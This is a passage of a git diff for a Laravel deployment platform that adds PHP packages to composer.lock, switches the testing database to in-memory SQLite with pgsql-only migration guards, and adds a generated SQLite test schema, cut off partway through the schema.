"https://github.com/amphp/websocket-client/issues", + "source": "https://github.com/amphp/websocket-client/tree/v2.0.2" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2025-08-24T17:25:34+00:00" + }, { "name": "barryvdh/laravel-debugbar", "version": "v3.16.5", @@ -11814,6 +13036,50 @@ ], "time": "2026-01-08T07:23:06+00:00" }, + { + "name": "daverandom/libdns", + "version": "v2.1.0", + "source": { + "type": "git", + "url": "https://github.com/DaveRandom/LibDNS.git", + "reference": "b84c94e8fe6b7ee4aecfe121bfe3b6177d303c8a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/DaveRandom/LibDNS/zipball/b84c94e8fe6b7ee4aecfe121bfe3b6177d303c8a", + "reference": "b84c94e8fe6b7ee4aecfe121bfe3b6177d303c8a", + "shasum": "" + }, + "require": { + "ext-ctype": "*", + "php": ">=7.1" + }, + "suggest": { + "ext-intl": "Required for IDN support" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "LibDNS\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "DNS protocol implementation written in pure PHP", + "keywords": [ + "dns" + ], + "support": { + "issues": "https://github.com/DaveRandom/LibDNS/issues", + "source": "https://github.com/DaveRandom/LibDNS/tree/v2.1.0" + }, + "time": "2024-04-12T12:12:48+00:00" + }, { "name": "driftingly/rector-laravel", "version": "2.1.9", @@ -12096,6 +13362,64 @@ }, "time": "2025-04-30T06:54:44+00:00" }, + { + "name": "kelunik/certificate", + "version": "v1.1.3", + "source": { + "type": "git", + "url": "https://github.com/kelunik/certificate.git", + "reference": "7e00d498c264d5eb4f78c69f41c8bd6719c0199e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/kelunik/certificate/zipball/7e00d498c264d5eb4f78c69f41c8bd6719c0199e", + "reference": "7e00d498c264d5eb4f78c69f41c8bd6719c0199e", + "shasum": "" + }, + "require": { + "ext-openssl": "*", + "php": ">=7.0" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "phpunit/phpunit": "^6 | 7 | ^8 | ^9" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Kelunik\\Certificate\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "Access certificate details and transform between different formats.", + "keywords": [ + "DER", + "certificate", + "certificates", + "openssl", + "pem", + "x509" + ], + "support": { + "issues": "https://github.com/kelunik/certificate/issues", + "source": "https://github.com/kelunik/certificate/tree/v1.1.3" + }, + "time": "2023-02-03T21:26:53+00:00" + }, { "name": "laravel/boost", "version": "v2.1.1", @@ -12505,6 +13829,90 @@ }, "time": "2025-12-30T17:31:31+00:00" }, + { + "name": "league/uri-components", + "version": "7.8.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/uri-components.git", + "reference": "8b5ffcebcc0842b76eb80964795bd56a8333b2ba" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/uri-components/zipball/8b5ffcebcc0842b76eb80964795bd56a8333b2ba", + "reference": "8b5ffcebcc0842b76eb80964795bd56a8333b2ba", + "shasum": "" + }, + "require": { + "league/uri": "^7.8", + "php": "^8.1" + }, + "suggest": { + "ext-bcmath": "to improve IPV4 host parsing", + "ext-fileinfo": "to create Data URI from file contennts", + "ext-gmp": "to improve IPV4 host parsing", + "ext-intl": "to handle IDN host with the best performance", + "ext-mbstring": "to use the sorting algorithm of URLSearchParams", + "jeremykendall/php-domain-parser": "to further parse the URI host and resolve its Public Suffix and Top Level Domain", + "league/uri-polyfill": "to backport the PHP URI extension for older versions of PHP", + "php-64bit": "to improve IPV4 host parsing", + "rowbot/url": "to handle URLs using the WHATWG URL Living Standard specification", + "symfony/polyfill-intl-idn": "to handle IDN host via the Symfony polyfill if ext-intl is not present" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "7.x-dev" + } + }, + "autoload": { + "psr-4": { + "League\\Uri\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ignace Nyamagana Butera", + "email": "nyamsprod@gmail.com", + "homepage": "https://nyamsprod.com" + } + ], + "description": "URI components manipulation library", + "homepage": "http://uri.thephpleague.com", + "keywords": [ + "authority", + "components", + "fragment", + "host", + "middleware", + "modifier", + "path", + "port", + "query", + "rfc3986", + "scheme", + "uri", + "url", + "userinfo" + ], + "support": { + "docs": "https://uri.thephpleague.com", + "forum": "https://thephpleague.slack.com", + "issues": "https://github.com/thephpleague/uri-src/issues", + "source": "https://github.com/thephpleague/uri-components/tree/7.8.0" + }, + "funding": [ + { + "url": "https://github.com/nyamsprod", + "type": "github" + } + ], + "time": "2026-01-14T17:24:56+00:00" + }, { "name": "mockery/mockery", "version": "1.6.12", @@ -13003,6 +14411,89 @@ ], "time": "2025-08-20T13:10:51+00:00" }, + { + "name": "pestphp/pest-plugin-browser", + "version": "v4.2.1", + "source": { + "type": "git", + "url": "https://github.com/pestphp/pest-plugin-browser.git", + "reference": "0ed837ab7e80e6fc78d36913cc0b006f8819336d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/pestphp/pest-plugin-browser/zipball/0ed837ab7e80e6fc78d36913cc0b006f8819336d", + "reference": "0ed837ab7e80e6fc78d36913cc0b006f8819336d", + "shasum": "" + }, + "require": { + "amphp/amp": "^3.1.1", + "amphp/http-server": "^3.4.3", + "amphp/websocket-client": "^2.0.2", + "ext-sockets": "*", + "pestphp/pest": "^4.3.1", + "pestphp/pest-plugin": "^4.0.0", + "php": "^8.3", + "symfony/process": "^7.4.3" + }, + "require-dev": { + "ext-pcntl": "*", + "ext-posix": "*", + "livewire/livewire": "^3.7.3", + "nunomaduro/collision": "^8.8.3", + "orchestra/testbench": "^10.8.0", + "pestphp/pest-dev-tools": "^4.0.0", + "pestphp/pest-plugin-laravel": "^4.0", + "pestphp/pest-plugin-type-coverage": "^4.0.3" + }, + "type": "library", + "extra": { + "pest": { + "plugins": [ + "Pest\\Browser\\Plugin" + ] + } + }, + "autoload": { + "files": [ + "src/Autoload.php" + ], + "psr-4": { + "Pest\\Browser\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Pest plugin to test browser interactions", + "keywords": [ + "browser", + "framework", + "pest", + "php", + "test", + "testing", + "unit" + ], + "support": { + "source": "https://github.com/pestphp/pest-plugin-browser/tree/v4.2.1" + }, + "funding": [ + { + "url": "https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=66BYDWAT92N6L", + "type": "custom" + }, + { + "url": "https://github.com/nunomaduro", + "type": "github" + }, + { + "url": "https://www.patreon.com/nunomaduro", + "type": "patreon" + } + ], + "time": "2026-01-11T20:32:34+00:00" + }, { "name": "pestphp/pest-plugin-mutate", "version": "v4.0.1", @@ -13957,6 +15448,78 @@ ], "time": "2026-01-28T15:22:48+00:00" }, + { + "name": "revolt/event-loop", + "version": "v1.0.8", + "source": { + "type": "git", + "url": "https://github.com/revoltphp/event-loop.git", + "reference": "b6fc06dce8e9b523c9946138fa5e62181934f91c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/revoltphp/event-loop/zipball/b6fc06dce8e9b523c9946138fa5e62181934f91c", + "reference": "b6fc06dce8e9b523c9946138fa5e62181934f91c", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "require-dev": { + "ext-json": "*", + "jetbrains/phpstorm-stubs": "^2019.3", + "phpunit/phpunit": "^9", + "psalm/phar": "^5.15" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Revolt\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Cees-Jan Kiewiet", + "email": "ceesjank@gmail.com" + }, + { + "name": "Christian Lück", + "email": "christian@clue.engineering" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "Rock-solid event loop for concurrent PHP applications.", + "keywords": [ + "async", + "asynchronous", + "concurrency", + "event", + "event-loop", + "non-blocking", + "scheduler" + ], + "support": { + "issues": "https://github.com/revoltphp/event-loop/issues", + "source": "https://github.com/revoltphp/event-loop/tree/v1.0.8" + }, + "time": "2025-08-27T21:33:23+00:00" + }, { "name": "sebastian/cli-parser", "version": "4.2.0", diff --git a/config/database.php b/config/database.php index 366ff90b5..79da0eaf7 100644 --- a/config/database.php +++ b/config/database.php @@ -54,18 +54,10 @@ ], 'testing' => [ - 'driver' => 'pgsql', - 'url' => env('DATABASE_TEST_URL'), - 'host' => env('DB_TEST_HOST', 'postgres'), - 'port' => env('DB_TEST_PORT', '5432'), - 'database' => env('DB_TEST_DATABASE', 'coolify_test'), - 'username' => env('DB_TEST_USERNAME', 'coolify'), - 'password' => env('DB_TEST_PASSWORD', 'password'), - 'charset' => 'utf8', + 'driver' => 'sqlite', + 'database' => ':memory:', 'prefix' => '', - 'prefix_indexes' => true, - 'search_path' => 'public', - 'sslmode' => 'prefer', + 'foreign_key_constraints' => true, ], ], diff --git a/database/migrations/2024_11_11_125366_add_index_to_activity_log.php b/database/migrations/2024_11_11_125366_add_index_to_activity_log.php index 0c281ff40..5ebf62fe3 100644 --- a/database/migrations/2024_11_11_125366_add_index_to_activity_log.php +++ b/database/migrations/2024_11_11_125366_add_index_to_activity_log.php @@ -8,6 +8,10 @@ class AddIndexToActivityLog extends Migration { public function up() { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + try { DB::statement('ALTER TABLE activity_log ALTER COLUMN properties TYPE jsonb USING properties::jsonb'); DB::statement('CREATE INDEX idx_activity_type_uuid ON activity_log USING GIN (properties jsonb_path_ops)'); @@ -18,6 +22,10 @@ public function up() public function down() { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + try { DB::statement('DROP INDEX IF EXISTS idx_activity_type_uuid'); DB::statement('ALTER TABLE activity_log ALTER COLUMN properties TYPE json USING properties::json'); diff --git a/database/migrations/2025_12_08_135600_add_performance_indexes.php b/database/migrations/2025_12_08_135600_add_performance_indexes.php index 680c4b4f7..ce38d7cc2 100644 --- a/database/migrations/2025_12_08_135600_add_performance_indexes.php +++ b/database/migrations/2025_12_08_135600_add_performance_indexes.php @@ -22,6 +22,10 @@ public function up(): void { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + foreach ($this->indexes as [$table, $columns, $indexName]) { if (! $this->indexExists($indexName)) { $columnList = implode(', ', array_map(fn ($col) => "\"$col\"", $columns)); @@ -32,6 +36,10 @@ public function up(): void public function down(): void { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + foreach ($this->indexes as [, , $indexName]) { DB::statement("DROP INDEX IF EXISTS \"{$indexName}\""); } diff --git a/database/schema/testing-schema.sql b/database/schema/testing-schema.sql new file mode 100644 index 000000000..edbc35db4 --- /dev/null +++ b/database/schema/testing-schema.sql @@ -0,0 +1,1754 @@ +-- Generated by: php artisan schema:generate-testing +-- Date: 2026-02-11 13:10:01 +-- Last migration: 2025_12_17_000002_add_restart_tracking_to_standalone_databases + +CREATE TABLE IF NOT EXISTS "activity_log" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "log_name" TEXT, + "description" TEXT NOT NULL, + "subject_type" TEXT, + "subject_id" INTEGER, + "causer_type" TEXT, + "causer_id" INTEGER, + "properties" TEXT, + "created_at" TEXT, + "updated_at" TEXT, + "event" TEXT, + "batch_uuid" TEXT +); + +CREATE TABLE IF NOT EXISTS "additional_destinations" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "application_id" INTEGER NOT NULL, + "server_id" INTEGER NOT NULL, + "status" TEXT DEFAULT 'exited' NOT NULL, + "standalone_docker_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "application_deployment_queues" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "application_id" TEXT NOT NULL, + "deployment_uuid" TEXT NOT NULL, + "pull_request_id" INTEGER DEFAULT 0 NOT NULL, + "force_rebuild" INTEGER DEFAULT false NOT NULL, + "commit" TEXT DEFAULT 'HEAD' NOT NULL, + "status" TEXT DEFAULT 'queued' NOT NULL, + "is_webhook" INTEGER DEFAULT false NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "logs" TEXT, + "current_process_id" TEXT, + "restart_only" INTEGER DEFAULT false NOT NULL, + "git_type" TEXT, + "server_id" INTEGER, + "application_name" TEXT, + "server_name" TEXT, + "deployment_url" TEXT, + "destination_id" TEXT, + "only_this_server" INTEGER DEFAULT false NOT NULL, + "rollback" INTEGER DEFAULT false NOT NULL, + "commit_message" TEXT, + "is_api" INTEGER DEFAULT false NOT NULL, + "build_server_id" INTEGER, + "horizon_job_id" TEXT, + "horizon_job_worker" TEXT, + "finished_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "application_previews" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "pull_request_id" INTEGER NOT NULL, + "pull_request_html_url" TEXT NOT NULL, + "pull_request_issue_comment_id" TEXT, + "fqdn" TEXT, + "status" TEXT DEFAULT 'exited' NOT NULL, + "application_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "git_type" TEXT, + "docker_compose_domains" TEXT, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "deleted_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "application_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "is_static" INTEGER DEFAULT false NOT NULL, + "is_git_submodules_enabled" INTEGER DEFAULT true NOT NULL, + "is_git_lfs_enabled" INTEGER DEFAULT true NOT NULL, + "is_auto_deploy_enabled" INTEGER DEFAULT true NOT NULL, + "is_force_https_enabled" INTEGER DEFAULT true NOT NULL, + "is_debug_enabled" INTEGER DEFAULT false NOT NULL, + "is_preview_deployments_enabled" INTEGER DEFAULT false NOT NULL, + "application_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "is_log_drain_enabled" INTEGER DEFAULT false NOT NULL, + "is_gpu_enabled" INTEGER DEFAULT false NOT NULL, + "gpu_driver" TEXT DEFAULT 'nvidia' NOT NULL, + "gpu_count" TEXT, + "gpu_device_ids" TEXT, + "gpu_options" TEXT, + "is_include_timestamps" INTEGER DEFAULT false NOT NULL, + "is_swarm_only_worker_nodes" INTEGER DEFAULT true NOT NULL, + "is_raw_compose_deployment_enabled" INTEGER DEFAULT false NOT NULL, + "is_build_server_enabled" INTEGER DEFAULT false NOT NULL, + "is_consistent_container_name_enabled" INTEGER DEFAULT false NOT NULL, + "is_gzip_enabled" INTEGER DEFAULT true NOT NULL, + "is_stripprefix_enabled" INTEGER DEFAULT true NOT NULL, + "connect_to_docker_network" INTEGER DEFAULT false NOT NULL, + "custom_internal_name" TEXT, + "is_container_label_escape_enabled" INTEGER DEFAULT true NOT NULL, + "is_env_sorting_enabled" INTEGER DEFAULT false NOT NULL, + "is_container_label_readonly_enabled" INTEGER DEFAULT true NOT NULL, + "is_preserve_repository_enabled" INTEGER DEFAULT false NOT NULL, + "disable_build_cache" INTEGER DEFAULT false NOT NULL, + "is_spa" INTEGER DEFAULT false NOT NULL, + "is_git_shallow_clone_enabled" INTEGER DEFAULT true NOT NULL, + "is_pr_deployments_public_enabled" INTEGER DEFAULT false NOT NULL, + "use_build_secrets" INTEGER DEFAULT false NOT NULL, + "inject_build_args_to_dockerfile" INTEGER DEFAULT true NOT NULL, + "include_source_commit_in_build" INTEGER DEFAULT false NOT NULL, + "docker_images_to_keep" INTEGER DEFAULT 2 NOT NULL +); + +CREATE TABLE IF NOT EXISTS "applications" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "repository_project_id" INTEGER, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "fqdn" TEXT, + "config_hash" TEXT, + "git_repository" TEXT NOT NULL, + "git_branch" TEXT NOT NULL, + "git_commit_sha" TEXT DEFAULT 'HEAD' NOT NULL, + "git_full_url" TEXT, + "docker_registry_image_name" TEXT, + "docker_registry_image_tag" TEXT, + "build_pack" TEXT NOT NULL, + "static_image" TEXT DEFAULT 'nginx:alpine' NOT NULL, + "install_command" TEXT, + "build_command" TEXT, + "start_command" TEXT, + "ports_exposes" TEXT NOT NULL, + "ports_mappings" TEXT, + "base_directory" TEXT DEFAULT '/' NOT NULL, + "publish_directory" TEXT, + "health_check_path" TEXT DEFAULT '/' NOT NULL, + "health_check_port" TEXT, + "health_check_host" TEXT DEFAULT 'localhost' NOT NULL, + "health_check_method" TEXT DEFAULT 'GET' NOT NULL, + "health_check_return_code" INTEGER DEFAULT 200 NOT NULL, + "health_check_scheme" TEXT DEFAULT 'http' NOT NULL, + "health_check_response_text" TEXT, + "health_check_interval" INTEGER DEFAULT 5 NOT NULL, + "health_check_timeout" INTEGER DEFAULT 5 NOT NULL, + "health_check_retries" INTEGER DEFAULT 10 NOT NULL, + "health_check_start_period" INTEGER DEFAULT 5 NOT NULL, + "limits_memory" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swap" TEXT DEFAULT '0' NOT NULL, + "limits_memory_swappiness" INTEGER DEFAULT 60 NOT NULL, + "limits_memory_reservation" TEXT DEFAULT '0' NOT NULL, + "limits_cpus" TEXT DEFAULT '0' NOT NULL, + "limits_cpuset" TEXT, + "limits_cpu_shares" INTEGER DEFAULT 1024 NOT NULL, + "status" TEXT DEFAULT 'exited' NOT NULL, + "preview_url_template" TEXT DEFAULT '{{pr_id}}.{{domain}}' NOT NULL, + "destination_type" TEXT, + "destination_id" INTEGER, + "source_type" TEXT, + "source_id" INTEGER, + "private_key_id" INTEGER, + "environment_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "description" TEXT, + "dockerfile" TEXT, + "health_check_enabled" INTEGER DEFAULT false NOT NULL, + "dockerfile_location" TEXT, + "custom_labels" TEXT, + "dockerfile_target_build" TEXT, + "manual_webhook_secret_github" TEXT, + "manual_webhook_secret_gitlab" TEXT, + "docker_compose_location" TEXT DEFAULT '/docker-compose.yaml', + "docker_compose" TEXT, + "docker_compose_raw" TEXT, + "docker_compose_domains" TEXT, + "deleted_at" TEXT, + "docker_compose_custom_start_command" TEXT, + "docker_compose_custom_build_command" TEXT, + "swarm_replicas" INTEGER DEFAULT 1 NOT NULL, + "swarm_placement_constraints" TEXT, + "manual_webhook_secret_bitbucket" TEXT, + "custom_docker_run_options" TEXT, + "post_deployment_command" TEXT, + "post_deployment_command_container" TEXT, + "pre_deployment_command" TEXT, + "pre_deployment_command_container" TEXT, + "watch_paths" TEXT, + "custom_healthcheck_found" INTEGER DEFAULT false NOT NULL, + "manual_webhook_secret_gitea" TEXT, + "redirect" TEXT DEFAULT 'both' NOT NULL, + "compose_parsing_version" TEXT DEFAULT '1' NOT NULL, + "last_online_at" TEXT DEFAULT '2026-02-11 12:51:02' NOT NULL, + "custom_nginx_configuration" TEXT, + "custom_network_aliases" TEXT, + "is_http_basic_auth_enabled" INTEGER DEFAULT false NOT NULL, + "http_basic_auth_username" TEXT, + "http_basic_auth_password" TEXT, + "restart_count" INTEGER DEFAULT 0 NOT NULL, + "last_restart_at" TEXT, + "last_restart_type" TEXT +); + +CREATE TABLE IF NOT EXISTS "cloud_init_scripts" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "name" TEXT NOT NULL, + "script" TEXT NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "cloud_provider_tokens" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "provider" TEXT NOT NULL, + "token" TEXT NOT NULL, + "name" TEXT, + "created_at" TEXT, + "updated_at" TEXT, + "uuid" TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS "discord_notification_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "discord_enabled" INTEGER DEFAULT false NOT NULL, + "discord_webhook_url" TEXT, + "deployment_success_discord_notifications" INTEGER DEFAULT false NOT NULL, + "deployment_failure_discord_notifications" INTEGER DEFAULT true NOT NULL, + "status_change_discord_notifications" INTEGER DEFAULT false NOT NULL, + "backup_success_discord_notifications" INTEGER DEFAULT false NOT NULL, + "backup_failure_discord_notifications" INTEGER DEFAULT true NOT NULL, + "scheduled_task_success_discord_notifications" INTEGER DEFAULT false NOT NULL, + "scheduled_task_failure_discord_notifications" INTEGER DEFAULT true NOT NULL, + "docker_cleanup_success_discord_notifications" INTEGER DEFAULT false NOT NULL, + "docker_cleanup_failure_discord_notifications" INTEGER DEFAULT true NOT NULL, + "server_disk_usage_discord_notifications" INTEGER DEFAULT true NOT NULL, + "server_reachable_discord_notifications" INTEGER DEFAULT false NOT NULL, + "server_unreachable_discord_notifications" INTEGER DEFAULT true NOT NULL, + "discord_ping_enabled" INTEGER DEFAULT true NOT NULL, + "server_patch_discord_notifications" INTEGER DEFAULT true NOT NULL, + "traefik_outdated_discord_notifications" INTEGER DEFAULT true NOT NULL +); + +CREATE TABLE IF NOT EXISTS "docker_cleanup_executions" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "status" TEXT DEFAULT 'running' NOT NULL, + "message" TEXT, + "cleanup_log" TEXT, + "server_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "finished_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "email_notification_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "team_id" INTEGER NOT NULL, + "smtp_enabled" INTEGER DEFAULT false NOT NULL, + "smtp_from_address" TEXT, + "smtp_from_name" TEXT, + "smtp_recipients" TEXT, + "smtp_host" TEXT, + "smtp_port" INTEGER, + "smtp_encryption" TEXT, + "smtp_username" TEXT, + "smtp_password" TEXT, + "smtp_timeout" INTEGER, + "resend_enabled" INTEGER DEFAULT false NOT NULL, + "resend_api_key" TEXT, + "use_instance_email_settings" INTEGER DEFAULT false NOT NULL, + "deployment_success_email_notifications" INTEGER DEFAULT false NOT NULL, + "deployment_failure_email_notifications" INTEGER DEFAULT true NOT NULL, + "status_change_email_notifications" INTEGER DEFAULT false NOT NULL, + "backup_success_email_notifications" INTEGER DEFAULT false NOT NULL, + "backup_failure_email_notifications" INTEGER DEFAULT true NOT NULL, + "scheduled_task_success_email_notifications" INTEGER DEFAULT false NOT NULL, + "scheduled_task_failure_email_notifications" INTEGER DEFAULT true NOT NULL, + "docker_cleanup_success_email_notifications" INTEGER DEFAULT false NOT NULL, + "docker_cleanup_failure_email_notifications" INTEGER DEFAULT true NOT NULL, + "server_disk_usage_email_notifications" INTEGER DEFAULT true NOT NULL, + "server_reachable_email_notifications" INTEGER DEFAULT false NOT NULL, + "server_unreachable_email_notifications" INTEGER DEFAULT true NOT NULL, + "server_patch_email_notifications" INTEGER DEFAULT true NOT NULL, + "traefik_outdated_email_notifications" INTEGER DEFAULT true NOT NULL +); + +CREATE TABLE IF NOT EXISTS "environment_variables" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "key" TEXT NOT NULL, + "value" TEXT, + "is_preview" INTEGER DEFAULT false NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "is_shown_once" INTEGER DEFAULT false NOT NULL, + "is_multiline" INTEGER DEFAULT false NOT NULL, + "version" TEXT DEFAULT '4.0.0-beta.239' NOT NULL, + "is_literal" INTEGER DEFAULT false NOT NULL, + "uuid" TEXT NOT NULL, + "order" INTEGER, + "is_required" INTEGER DEFAULT false NOT NULL, + "is_shared" INTEGER DEFAULT false NOT NULL, + "resourceable_type" TEXT, + "resourceable_id" INTEGER, + "is_runtime" INTEGER DEFAULT true NOT NULL, + "is_buildtime" INTEGER DEFAULT true NOT NULL +); + +CREATE TABLE IF NOT EXISTS "environments" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "name" TEXT NOT NULL, + "project_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "description" TEXT, + "uuid" TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS "failed_jobs" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "connection" TEXT NOT NULL, + "queue" TEXT NOT NULL, + "payload" TEXT NOT NULL, + "exception" TEXT NOT NULL, + "failed_at" TEXT DEFAULT CURRENT_TIMESTAMP NOT NULL +); + +CREATE TABLE IF NOT EXISTS "github_apps" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "organization" TEXT, + "api_url" TEXT NOT NULL, + "html_url" TEXT NOT NULL, + "custom_user" TEXT DEFAULT 'git' NOT NULL, + "custom_port" INTEGER DEFAULT 22 NOT NULL, + "app_id" INTEGER, + "installation_id" INTEGER, + "client_id" TEXT, + "client_secret" TEXT, + "webhook_secret" TEXT, + "is_system_wide" INTEGER DEFAULT false NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "private_key_id" INTEGER, + "team_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "contents" TEXT, + "metadata" TEXT, + "pull_requests" TEXT, + "administration" TEXT +); + +CREATE TABLE IF NOT EXISTS "gitlab_apps" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "name" TEXT NOT NULL, + "organization" TEXT, + "api_url" TEXT NOT NULL, + "html_url" TEXT NOT NULL, + "custom_port" INTEGER DEFAULT 22 NOT NULL, + "custom_user" TEXT DEFAULT 'git' NOT NULL, + "is_system_wide" INTEGER DEFAULT false NOT NULL, + "is_public" INTEGER DEFAULT false NOT NULL, + "app_id" INTEGER, + "app_secret" TEXT, + "oauth_id" INTEGER, + "group_name" TEXT, + "public_key" TEXT, + "webhook_token" TEXT, + "deploy_key_id" INTEGER, + "private_key_id" INTEGER, + "team_id" INTEGER NOT NULL, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "instance_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "public_ipv4" TEXT, + "public_ipv6" TEXT, + "fqdn" TEXT, + "public_port_min" INTEGER DEFAULT 9000 NOT NULL, + "public_port_max" INTEGER DEFAULT 9100 NOT NULL, + "do_not_track" INTEGER DEFAULT false NOT NULL, + "is_auto_update_enabled" INTEGER DEFAULT true NOT NULL, + "is_registration_enabled" INTEGER DEFAULT true NOT NULL, + "created_at" TEXT, + "updated_at" TEXT, + "next_channel" INTEGER DEFAULT false NOT NULL, + "smtp_enabled" INTEGER DEFAULT false NOT NULL, + "smtp_from_address" TEXT, + "smtp_from_name" TEXT, + "smtp_recipients" TEXT, + "smtp_host" TEXT, + "smtp_port" INTEGER, + "smtp_encryption" TEXT, + "smtp_username" TEXT, + "smtp_password" TEXT, + "smtp_timeout" INTEGER, + "resend_enabled" INTEGER DEFAULT false NOT NULL, + "resend_api_key" TEXT, + "is_dns_validation_enabled" INTEGER DEFAULT true NOT NULL, + "custom_dns_servers" TEXT DEFAULT '1.1.1.1', + "instance_name" TEXT, + "is_api_enabled" INTEGER DEFAULT false NOT NULL, + "allowed_ips" TEXT, + "auto_update_frequency" TEXT DEFAULT '0 0 * * *' NOT NULL, + "update_check_frequency" TEXT DEFAULT '0 * * * *' NOT NULL, + "new_version_available" INTEGER DEFAULT false NOT NULL, + "instance_timezone" TEXT DEFAULT 'UTC' NOT NULL, + "helper_version" TEXT DEFAULT '1.0.0' NOT NULL, + "disable_two_step_confirmation" INTEGER DEFAULT false NOT NULL, + "is_sponsorship_popup_enabled" INTEGER DEFAULT true NOT NULL, + "dev_helper_version" TEXT, + "is_wire_navigate_enabled" INTEGER DEFAULT true NOT NULL +); + +CREATE TABLE IF NOT EXISTS "local_file_volumes" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "uuid" TEXT NOT NULL, + "fs_path" TEXT NOT NULL, + "mount_path" TEXT, + "content" TEXT, + "resource_type" TEXT, + "resource_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT, + "is_directory" INTEGER DEFAULT false NOT NULL, + "chown" TEXT, + "chmod" TEXT, + "is_based_on_git" INTEGER DEFAULT false NOT NULL +); + +CREATE TABLE IF NOT EXISTS "local_persistent_volumes" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "name" TEXT NOT NULL, + "mount_path" TEXT NOT NULL, + "host_path" TEXT, + "container_id" TEXT, + "resource_type" TEXT, + "resource_id" INTEGER, + "created_at" TEXT, + "updated_at" TEXT +); + +CREATE TABLE IF NOT EXISTS "migrations" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "migration" TEXT NOT NULL, + "batch" INTEGER NOT NULL +); + +CREATE TABLE IF NOT EXISTS "oauth_settings" ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + "provider" TEXT NOT NULL, + "enabled" INTEGER DEFAULT false NOT NULL, + "client_id" TEXT, + "client_secret" TEXT, + "redirect_uri" TEXT, + "tenant" TEXT, + "created_at" TEXT, 